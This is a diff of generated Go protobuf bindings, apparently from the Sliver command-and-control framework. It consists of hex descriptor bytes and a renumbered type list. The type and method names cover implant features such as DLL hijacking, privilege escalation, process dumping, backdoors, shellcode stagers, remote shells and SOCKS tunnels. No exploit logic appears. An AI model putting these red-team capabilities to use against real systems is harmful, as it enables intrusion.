+	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61,
+	0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53,
+	0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+	0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52,
+	0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53,
+	0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61,
+	0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+	0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e,
+	0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61,
+	0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15,
+	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69,
+	0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65,
+	0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+	0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a,
+	0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53,
+	0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53,
+	0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+	0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f,
+	0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12,
+	0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e,
+	0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
+	0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
+	0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
+	0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61,
+	0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17,
+	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78,
+	0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45,
+	0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+	0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
+	0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+	0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73,
+	0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46,
+	0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+	0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53,
+	0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+	0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
+	0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
+	0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74,
+	0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c,
+	0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19,
+	0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
+	0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+	0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b,
+	0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74,
+	0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69,
+	0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73,
+	0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72,
+	0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69,
 	0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61,
-	0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
-	0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
-	0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63,
-	0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76,
-	0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
-	0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73,
-	0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32,
-	0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a,
-	0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66,
-	0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b,
-	0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63,
-	0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
-	0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b,
-	0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63,
-	0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
-	0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78,
-	0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63,
-	0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
-	0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12,
-	0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12,
-	0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
-	0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
-	0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e,
-	0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
-	0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
-	0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44,
-	0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
-	0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76,
-	0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28,
-	0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e,
-	0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f,
-	0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30,
-	0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f,
-	0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62,
-	0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+	0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65,
+	0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+	0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65,
+	0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a,
+	0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c,
+	0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65,
+	0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72,
+	0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f,
+	0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f,
+	0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
+	0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72,
+	0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+	0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
+	0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65,
+	0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
+	0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
+	0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75,
+	0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
+	0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65,
+	0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
+	0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12,
+	0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
+	0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e,
+	0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f,
+	0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76,
+	0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70,
+	0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
 var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -526,120 +531,122 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
 	(*sliverpb.SideloadReq)(nil),           // 49: sliverpb.SideloadReq
 	(*sliverpb.InvokeSpawnDllReq)(nil),     // 50: sliverpb.InvokeSpawnDllReq
 	(*sliverpb.ScreenshotReq)(nil),         // 51: sliverpb.ScreenshotReq
-	(*sliverpb.PivotStartListenerReq)(nil), // 52: sliverpb.PivotStartListenerReq
-	(*sliverpb.PivotStopListenerReq)(nil),  // 53: sliverpb.PivotStopListenerReq
-	(*sliverpb.PivotListenersReq)(nil),     // 54: sliverpb.PivotListenersReq
-	(*sliverpb.StartServiceReq)(nil),       // 55: sliverpb.StartServiceReq
-	(*sliverpb.StopServiceReq)(nil),        // 56: sliverpb.StopServiceReq
-	(*sliverpb.RemoveServiceReq)(nil),      // 57: sliverpb.RemoveServiceReq
-	(*sliverpb.MakeTokenReq)(nil),          // 58: sliverpb.MakeTokenReq
-	(*sliverpb.EnvReq)(nil),                // 59: sliverpb.EnvReq
-	(*sliverpb.SetEnvReq)(nil),             // 60: sliverpb.SetEnvReq
-	(*sliverpb.UnsetEnvReq)(nil),           // 61: sliverpb.UnsetEnvReq
-	(*sliverpb.BackdoorReq)(nil),           // 62: sliverpb.BackdoorReq
-	(*sliverpb.RegistryReadReq)(nil),       // 63: sliverpb.RegistryReadReq
-	(*sliverpb.RegistryWriteReq)(nil),      // 64: sliverpb.RegistryWriteReq
-	(*sliverpb.RegistryCreateKeyReq)(nil),  // 65: sliverpb.RegistryCreateKeyReq
-	(*sliverpb.RegistryDeleteKeyReq)(nil),  // 66: sliverpb.RegistryDeleteKeyReq
-	(*sliverpb.RegistrySubKeyListReq)(nil), // 67: sliverpb.RegistrySubKeyListReq
-	(*sliverpb.RegistryListValuesReq)(nil), // 68: sliverpb.RegistryListValuesReq
-	(*sliverpb.SSHCommandReq)(nil),         // 69: sliverpb.SSHCommandReq
-	(*clientpb.DllHijackReq)(nil),          // 70: clientpb.DllHijackReq
-	(*sliverpb.GetPrivsReq)(nil),           // 71: sliverpb.GetPrivsReq
-	(*sliverpb.OpenSession)(nil),           // 72: sliverpb.OpenSession
-	(*sliverpb.CloseSession)(nil),          // 73: sliverpb.CloseSession
-	(*sliverpb.RegisterExtensionReq)(nil),  // 74: sliverpb.RegisterExtensionReq
-	(*sliverpb.CallExtensionReq)(nil),      // 75: sliverpb.CallExtensionReq
-	(*sliverpb.ListExtensionsReq)(nil),     // 76: sliverpb.ListExtensionsReq
-	(*sliverpb.WGPortForwardStartReq)(nil), // 77: sliverpb.WGPortForwardStartReq
-	(*sliverpb.WGPortForwardStopReq)(nil),  // 78: sliverpb.WGPortForwardStopReq
-	(*sliverpb.WGSocksStartReq)(nil),       // 79: sliverpb.WGSocksStartReq
-	(*sliverpb.WGSocksStopReq)(nil),        // 80: sliverpb.WGSocksStopReq
-	(*sliverpb.WGTCPForwardersReq)(nil),    // 81: sliverpb.WGTCPForwardersReq
-	(*sliverpb.WGSocksServersReq)(nil),     // 82: sliverpb.WGSocksServersReq
-	(*sliverpb.ShellReq)(nil),              // 83: sliverpb.ShellReq
-	(*sliverpb.PortfwdReq)(nil),            // 84: sliverpb.PortfwdReq
-	(*sliverpb.Socks)(nil),                 // 85: sliverpb.Socks
-	(*sliverpb.SocksData)(nil),             // 86: sliverpb.SocksData
-	(*sliverpb.Tunnel)(nil),                // 87: sliverpb.Tunnel
-	(*sliverpb.TunnelData)(nil),            // 88: sliverpb.TunnelData
-	(*clientpb.Version)(nil),               // 89: clientpb.Version
-	(*clientpb.Operators)(nil),             // 90: clientpb.Operators
-	(*sliverpb.Reconfigure)(nil),           // 91: sliverpb.Reconfigure
-	(*clientpb.Sessions)(nil),              // 92: clientpb.Sessions
-	(*clientpb.Beacons)(nil),               // 93: clientpb.Beacons
-	(*clientpb.BeaconTasks)(nil),           // 94: clientpb.BeaconTasks
-	(*commonpb.Response)(nil),              // 95: commonpb.Response
-	(*clientpb.Jobs)(nil),                  // 96: clientpb.Jobs
-	(*clientpb.KillJob)(nil),               // 97: clientpb.KillJob
-	(*clientpb.MTLSListener)(nil),          // 98: clientpb.MTLSListener
-	(*clientpb.WGListener)(nil),            // 99: clientpb.WGListener
-	(*clientpb.DNSListener)(nil),           // 100: clientpb.DNSListener
-	(*clientpb.HTTPListener)(nil),          // 101: clientpb.HTTPListener
-	(*clientpb.StagerListener)(nil),        // 102: clientpb.StagerListener
-	(*clientpb.AllLoot)(nil),               // 103: clientpb.AllLoot
-	(*clientpb.AllHosts)(nil),              // 104: clientpb.AllHosts
-	(*clientpb.Generate)(nil),              // 105: clientpb.Generate
-	(*clientpb.ImplantBuilds)(nil),         // 106: clientpb.ImplantBuilds
-	(*clientpb.Canaries)(nil),              // 107: clientpb.Canaries
-	(*clientpb.WGClientConfig)(nil),        // 108: clientpb.WGClientConfig
-	(*clientpb.UniqueWGIP)(nil),            // 109: clientpb.UniqueWGIP
-	(*clientpb.ImplantProfiles)(nil),       // 110: clientpb.ImplantProfiles
-	(*clientpb.MsfStager)(nil),             // 111: clientpb.MsfStager
-	(*clientpb.ShellcodeRDI)(nil),          // 112: clientpb.ShellcodeRDI
-	(*clientpb.Compiler)(nil),              // 113: clientpb.Compiler
-	(*clientpb.Websites)(nil),              // 114: clientpb.Websites
-	(*sliverpb.Ps)(nil),                    // 115: sliverpb.Ps
-	(*sliverpb.Terminate)(nil),             // 116: sliverpb.Terminate
-	(*sliverpb.Ifconfig)(nil),              // 117: sliverpb.Ifconfig
-	(*sliverpb.Netstat)(nil),               // 118: sliverpb.Netstat
-	(*sliverpb.Ls)(nil),                    // 119: sliverpb.Ls
-	(*sliverpb.Pwd)(nil),                   // 120: sliverpb.Pwd
-	(*sliverpb.Mv)(nil),                    // 121: sliverpb.Mv
-	(*sliverpb.Rm)(nil),                    // 122: sliverpb.Rm
-	(*sliverpb.Mkdir)(nil),                 // 123: sliverpb.Mkdir
-	(*sliverpb.Download)(nil),              // 124: sliverpb.Download
-	(*sliverpb.Upload)(nil),                // 125: sliverpb.Upload
-	(*sliverpb.ProcessDump)(nil),           // 126: sliverpb.ProcessDump
-	(*sliverpb.RunAs)(nil),                 // 127: sliverpb.RunAs
-	(*sliverpb.Impersonate)(nil),           // 128: sliverpb.Impersonate
-	(*sliverpb.RevToSelf)(nil),             // 129: sliverpb.RevToSelf
-	(*sliverpb.GetSystem)(nil),             // 130: sliverpb.GetSystem
-	(*sliverpb.Task)(nil),                  // 131: sliverpb.Task
-	(*sliverpb.ExecuteAssembly)(nil),       // 132: sliverpb.ExecuteAssembly
-	(*sliverpb.Migrate)(nil),               // 133: sliverpb.Migrate
-	(*sliverpb.Execute)(nil),               // 134: sliverpb.Execute
